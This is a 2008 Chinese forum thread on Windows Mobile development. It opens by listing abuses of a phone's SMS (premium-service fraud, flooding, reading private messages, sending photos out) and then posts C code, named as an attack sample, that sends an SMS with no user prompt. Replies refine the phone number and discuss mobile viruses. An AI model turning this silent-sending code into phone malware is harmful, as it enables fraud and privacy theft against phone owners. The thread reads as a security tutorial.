首页
社区
课程
招聘
[原创][WM系统开发]发送短信(祝大家元旦快乐!)
发表于: 2008-12-31 12:16 14024

[原创][WM系统开发]发送短信(祝大家元旦快乐!)

2008-12-31 12:16
14024

收发短信是手机的一项基本功能。如果攻击者拥有了短信控制权同样会造成严重的影响。

    01. 发送确认短信给付费号码,订制昂贵的付费服务。造成经济损失。
    02. 向指定手机号码大量发送短信。用短信流淹没被攻击者手机。
    03. 大量发送短信比如发HF到10086查话费,可能对运营商的服务器造成影响。(估计需要感染大量手机!)
    04. 阅读目标机上的短信可以知道机主的很多信息,造成泄密。(可能会有银行密码,或者和女朋友的聊天记录!)
    05. 将机主手机中的图片以彩信形式发回,可以得到很多有趣信息。(说不定又是一个艳照门事件!)

    等等等等....

    控制手机发送短信其实很简单只需要:SmsOpen 打开句柄。SmsSendMessage发送消息。SmsClose关闭句柄就可以实现。
SmsSendMessage有11个参数,比较麻烦些。参数多且比较怪异。如果调用出错,可以以16进制输出返回值并打开SMS.H查看错误
编码的含义。示例程序给出了一组可用的参数定义。要深入研究短信相关函数可以查询sms.dll,sim.dll,simsec.dll的函数列表并配合MSDN研究。
sms.dll主要用于短信控制,sim.dll可用于控制SIM卡获取保存在其中的重要信息,最后一个simsec.dll同SIM卡安全相关。



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 7
支持
分享
最新回复 (20)
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
2
#include "stdafx.h"
#include "SMSAttack01.h"
#include <windows.h>
#include <commctrl.h>

#include <sms.h>
#pragma comment(lib,"sms.lib")

#include "E:\MFC程序\XHProgram\MGSEI_ERROR.h"
#include "E:\MFC程序\XHProgram\XHLIB.h"

int WINAPI WinMain(HINSTANCE hInstance,
                   HINSTANCE hPrevInstance,
                   LPTSTR    lpCmdLine,
                   int       nCmdShow)
{
    HRESULT      hResult = -1;
        SMS_HANDLE   hSMS = 0;
        HANDLE       hMessageAvailableEvent = 0;
        SMS_ADDRESS  dest;
        BYTE         SMSInfo[6]={'H',0,'F',0,0,0};
        BYTE         providerData[512];

        //打开SMS句柄
        hResult = SmsOpen(L"Microsoft Text SMS Protocol",
                              SMS_MODE_SEND,
                                      &hSMS,
                                          &hMessageAvailableEvent);

        if(S_OK != hResult)
        {
                ShowText(L"Open SMS Error!");
        return MGSEI_API_CALL_ERROR;
        }

        //设置短信发送地址
        ZeroMemory(&dest,sizeof(SMS_ADDRESS));
        dest.smsatAddressType = (SMS_ADDRESS_TYPE)1;
        wcscpy(dest.ptsAddress,L"10086");

        ZeroMemory(&providerData,512);

        //发送短消息
        hResult = SmsSendMessage(hSMS,
                                     NULL,
                                             &dest,
                                             NULL,
                                             SMSInfo,
                                             sizeof(SMSInfo),
                                             providerData,
                                             164,
                                             (SMS_DATA_ENCODING)0,
                                             SMS_OPTION_DELIVERY_NONE,
                                             0);

        //判断发送消息是否正确
        if(S_OK != hResult)
        {
                ShowText(L"Send SMS Error!");
        SmsClose(hSMS);
        return MGSEI_API_CALL_ERROR;
        }

        //关闭hSMS句柄和hMessageAvailableEvent句柄
    if(S_OK != SmsClose(hSMS))
        {
                ShowText(L"Close SMS Error!");
                return MGSEI_API_CALL_ERROR;
        }

        ShowSuccess();

        return MGSEI_NO_ERROR;
}
2008-12-31 12:17
0
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
3
实验证明在真机上也可以发送成功。
2008-12-31 12:46
0
雪    币: 270
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
第一个留名关注。。。。
很强啊。
2008-12-31 13:14
0
雪    币: 141
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
我的是诺基亚6120 S60第三版 没病毒呵呵
2008-12-31 13:17
0
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
6
目前已知的500多种手机病毒,诺基亚平台最多。因为市场占有率高。
2008-12-31 13:20
0
雪    币: 270
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
7
前段时间开到诺基亚收购塞班的股份,说将开源。不知道什么时候开源。如果开源塞班的病毒会更多,不过开源也是一种进步,对wm有一定的打击
2008-12-31 13:27
0
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
8
Windows CE 6.0也是在很大程度上开源的。
2008-12-31 13:32
0
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
9
低端JAVA2手机上能用?
2008-12-31 13:47
0
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
10
主要看操作系统是否是Windows Mobile的。
多普达的智能机应该都可以。JAVA2手机不好说。
2008-12-31 13:50
0
雪    币: 318
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
受教了,不知楼主的程序在pc机上能否发送成功??
2008-12-31 21:01
0
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
12
普通PC不行。底层是X86架构的CPU,而我们的程序是Windows CE / ARM平台的,PE文件包含的是ARM指令。
2009-1-6 12:58
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
13
这么好的东西,竟然都不给精华,汗一个。
2009-1-11 13:56
0
雪    币: 214
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
14
用Xarm也可以做...
而且程序大小只有5K
2009-1-11 14:04
0
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
15
因为使用的是Debug方式编译连接。如果使用Release会小很多。

根据破解的效果看,似乎VS系统没有充分使用ARM指令的条件执行功能。

所以汇编在底层还是有优势的。
2009-1-12 12:18
0
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
16
用C/C++写代码主要是方便大家,用Xarm估计很多朋友对Xarm语法不熟悉。呵呵。
2009-1-12 12:19
0
雪    币: 5
活跃值: (47)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
WM平台的程序能反编译么``程序小应该很容易反编译的吧?
2009-1-12 13:43
0
雪    币: 563
活跃值: (95)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
哈哈手机上也有病毒
2009-1-12 17:16
0
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
19
可以反汇编,而且容易。关键是要熟悉ARM指令集和API才能看懂。呵呵。
2009-1-12 20:01
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
看到这样的帖子,真的拨云见日!万分感谢楼主!

昨晚小弟试了一下发现有点问题

“  wcscpy(dest.ptsAddress,L"10086");”应为8610086 否则加了那个“+”以后就不是给我们国家的10086发了,我试了一下,要给自己的别的手机发也必须加上这个86(国家区号)否则收不到。

另外楼主的
#include "E:\MFC程序\XHProgram\MGSEI_ERROR.h"
#include "E:\MFC程序\XHProgram\XHLIB.h"
能否明示一下,否则ShowText之类的函数没有定义。。。
2009-4-13 11:44
0
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
21
很高兴看到你的回帖。
谢谢你的提示,前面没有真机在模拟器上看到连接的Cell模拟器上收到消息就没有深入研究了。

那两个文件一个是出错消息的头文件。我喜欢从-1开始定义统一的出错返回消息,这样有利于提高代码的可读性便于维护代码。

另一个是一些自定义函数,ShowText用于使用一个弹出对话框显示字符串信息。也是统一编码方便调试和维护。

我现在这里没有这些代码,应该实现也不复杂。你把程序改改应该能用。呵呵。
2009-4-13 12:47
0
游客
登录 | 注册 方可回帖
返回
//